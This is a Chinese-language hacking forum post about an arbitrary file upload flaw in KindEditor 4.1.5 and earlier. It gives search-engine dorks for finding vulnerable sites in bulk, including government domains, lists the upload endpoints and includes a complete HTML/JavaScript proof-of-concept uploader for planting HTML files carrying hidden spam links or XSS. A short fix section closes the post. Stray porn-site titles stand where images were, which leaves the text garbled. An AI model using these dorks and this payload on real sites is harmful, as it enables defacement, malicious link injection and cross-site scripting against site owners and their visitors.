taibeihacker
Moderator
0x00 漏洞描述
漏洞存在於kindeditor編輯器裡,你能上傳.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在於小於等於kindeditor4.1.5編輯器中這裡html裡面可以嵌套暗鏈接地址以及嵌套xss。 Kindeditor上的uploadbutton.html用於文件上傳功能頁面,直接POST到/upload_json.*?dir=file,在允許上傳的文件擴展名中包含htm,txt:extTable.Add('file','doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2')
0x01 批量搜索
在google中批量搜索:inurl:/examples/uploadbutton.html
inurl:/php/upload_json.php
inurl:/asp.net/upload_json.ashx
inurl://jsp/upload_json.jsp
inurl://asp/upload_json.asp
inurl:gov.cn/kindeditor/
0x02 漏洞问题
根本腳本語言自定義不同的上傳地址,上傳之前有必要驗證文件upload_json.* 的存在/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
可目錄變量查看是否存在那種腳本上傳漏洞:
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
0x03 漏洞利用
google搜素一些存在的站點inurl:kindeditor1.查看版本信息
XXX.com - XXX Sex Videos - Free Porn Movies
XXX Sex Videos - Free Porn Movies at XXX.com


2.版本是4.1.10可以進行嘗試如下路徑是否存在有必要驗證文件upload_json.*
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
3.如下圖可以看出是存在jsp上傳點:
XXX.com - XXX Sex Videos - Free Porn Movies
XXX Sex Videos - Free Porn Movies at XXX.com


4.寫出下面的構造上傳poc,這裡需要修改script.script以及url :的內容,根據實際情況修改.
htmlhead
titleUploader/title
script src='http://www.xxx.org/kindeditor//kindeditor.js'/script
script
KindEditor.ready(function(K) {
var uploadbutton=K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.org/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {
if (data.error===0) {
var url=K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
/script/headbody
div class='upload'
input class='ke-input-text' type='text' id='url' value='' readonly='readonly' /
input type='button' id='uploadButton' value='Upload' /
/div
/body
/html
5.用瀏覽器打開,然後開啟bupsuit進行攔截發送,可以看到成功上傳txt文件



6.同時也可以上傳.html文件,這裡就是攻擊者最喜歡上傳的文件(裡麵包含了各種暗頁連接地址,如菠菜和其他色情站點鏈接地址)


0x04 漏洞修复
1.直接刪除upload_json.*和file_manager_json.*2.升級kindeditor到最新版本